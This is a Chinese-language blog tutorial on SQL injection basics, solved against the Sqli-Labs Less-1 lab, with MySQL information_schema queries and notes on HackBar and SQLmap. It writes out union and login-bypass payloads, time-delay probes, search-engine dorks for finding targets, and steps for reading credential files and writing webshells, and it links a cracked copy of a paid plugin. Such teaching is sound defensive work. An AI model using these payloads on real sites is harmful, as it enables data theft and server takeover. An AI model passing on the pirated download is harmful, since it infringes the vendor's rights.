本文学习SQL注入前的一些必备基础知识,包括了解Web应用框架、搭建后续学习所需的Sqli-Lab模拟靶场、解析SQL注入原理、学习MySQL基础知识(尤为重要的information_schema数据库)和熟悉SQL注入流程,最终使用手工注入方式解决Sqli-Labs/Less-1关卡。
前言
随着Web2.0、社交网络、微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显,黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使得网站访问者受到侵害。
【Web安全】作为一个系列会在本博客连载,大体上从SQL注入、文件上传漏洞、XSS漏洞、代码审计、PHPThink、Python安全编程等方面来解开漏洞的真面目,以及组建模拟环境来训练。
一、WEB应用框架分析
Web应用老框架
Web应用新框架
二、SQL注入环境搭建
使用Docker搭建Sqli-labs靶场。(略)
三、SQL注入原理
SQL全称结构化查询语言StructuredQueryLanguage,其功能包括查询、操纵、定义和控制四个方面,是一个通用的功能机枪的关系数据库标准语言。
在B/S模式中,开发者在编写代码时没有对用户的输入数据或者是页面中所携带的信息进行必要的合法性判断。攻击者利用这个机会提交一段数据库查询代码,根据程序返回的结果,就可以获得一些数据库信息。
访问网站查询数据的流程
例如对代码进行拼接
http://127.0.0.1:8999/Less-1/?id=1 union select 1,version(),3%23
在查询id=1的同时也可以查看数据库的系统版本。注:%23 -> #
四、MySQL内置函数
主要说明一下SQL注入过程中常用函数。
1 | #部分函数使用说明 |
测试URL:http://127.0.0.1/sql/Less-1/?id=-1%27%20union%20select%201,@@version_compile_os,@@datadir%23
逻辑运算符: AND OR
注意:运算顺序从左到右
Select * from user where id =1 or 1=1
返回永远为真
登陆处的SQL语句:select * from users where username=’admin’ and possword=’passwd’
万能登录用户名:’ or ‘1’ = ‘1
测试URL:select * from users where username=’’ or ‘1’ = ‘1’ and possword=’’ or ‘1’ = ‘1’
判断返回值列数and 1=2 union select 1,2,3--+
select user() regexp ''^r0'
时间延时常用语句if(ascii(substr(select user(),1,1))=114,0,sleep(5))
五、SQL注入流程
寻找SQL注入点
- 目标搜集
- 无特定目标:
inurl:php?id=
- 有特定目标:
inurl:php?id= site:target.com
- 工具爬取: spider(对搜索到的网站进行爬取,识别所有的动态页面)
- 无特定目标:
- 注入识别
- 手工简单识别
'
and 1=1 / and 1=2
and '1'='1 / and '1'='2
and 1 like 1 / and 1 like 2
- 工具识别
- Sqlmap -m filename(filename保存检测目标)
- sqlmap -crawl(对目标网站进行爬取并依次进行测试)
- 高级识别
- 扩展识别广度和深度
- Sqlmap –level 增加测试级别,对header中相关参数进行测试
- sqlmap -r filename
- 利用工具提高识别效率
- BurpSuite + SqlMAo
- BurpSuite拦截所有浏览器访问提交的数据
- BurpSuite扩展插件直接调用SQLmap进行测试
- 扩展识别广度和深度
- 代码审计(白盒测试)
- 搜索关键代码和函数
- 梳理业务流程
- 搜索关键代码和函数
- 手工简单识别
SQL注入流程
信息收集(利用数据库内置函数)
数据库类型 报错页面
数据库版本 @@version、version()
数据库用户 user()、SYSTEM_USER
数据库权限 super_priv、IS_SRVROLEMEMBER
数据获取:获取库信息、表信息、列信息、数据信息
- 通过语句查询
- 通过暴力破解
select * from '爆破字段'
提权
- 执行命令 SQLServer权限
- 读文件 读取中间件配置文件、数据库配置文件(可能存在账号密码等信息)
读取数据库配置文件示例
读取系统配置文件
- 写文件 写webshell到网站目录
六 、SQL手工注入方法
MySQL数据库结构(重点:SQL层)
SQL层具有的功能:解析器、查询执行、授权、查询告诉缓存、优化器、查询日志记录
- 判断语法、语句、语义
- 数据库对象授权情况判断
- 解析:将SQL语句解析成执行计划,运行执行计划,生成找数据的方式
- 优化:基于算法从执行计划中选择代价最小的
- 执行:执行计划
- 将取出的数据抽象成表
- 查询缓存:缓存之前查询的数据
MySQL内置库:
通过information_schema
我们可以窥透整个MySQL的运行情况,也可以查看到数据库中所有的数据信息。
查询数据核心语法:(十分重要!!!)
功能名称 | 查询语句 |
---|---|
查库 | select schema_name from information_schema.schemata |
查表 | select table_name from information_schema.tables where table_schema=库名 |
查列 | select column_name from information_schema.columns where table_name=表名 |
查数据 | select 列名 from 库名.表名 |
MySQL手工注入方法
- 查库示例
- 查表示例
- 查列示例
- 查数据示例
需要注意的地方
- 所有类型sql注入,都是基于查库、表、列语句
- 如果数据太多,导致无法返回查询结果(可利用limit限定返回的数量或位置;用concat拼接)
利用limit限定返回的数量或位置示例:
利用concat拼接示例:
- 借助BurpSuite快速获取数据–布尔盲注
实战:SQLi-Labs/Less-1解题
- 测试是否存在sql注入
由于页面报错,因此很有可能是注入点。
通过上述测试,可以判断该页面存在SQL注入漏洞。
- 判断字段长度
由此可知,该字段长度为3
- 利用union联合查询库名
因此可以在图示2,34位置带入查询信息的语句
回显信息说明返回的内容太多,利用
limit
限定返回的数量或位置和利用group_concat()
拼接
- 利用union联合查询表名
- 利用union联合查询列名
- 利用union联合查询数据
七、两款工具简介
工具一:HackBar
HackBar:一款Firefox浏览器下的黑客插件 安全人员可以十分方便的用来进行Sql注入以及Xss测试或进行各种编码功能等。
安装教程:
由于是收费软件,特此提供破解版本,侵删。链接: https://pan.baidu.com/s/1wCT5sbchTEv1SPLyGgRSeQ 提取码: 3i33
- 添加下载xpi文件
- 关闭HackBar自动更新(更新之后版本要收费)
- 按F12即可使用工具
我们可以点击Load URL将URL栏的地址加载到HackBar窗口中,可以利用HackBar工具栏提供了很多web开发相关的命令,像urlencode,urldecode等常见命令。
工具二:SQLmap(详解待补)
SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。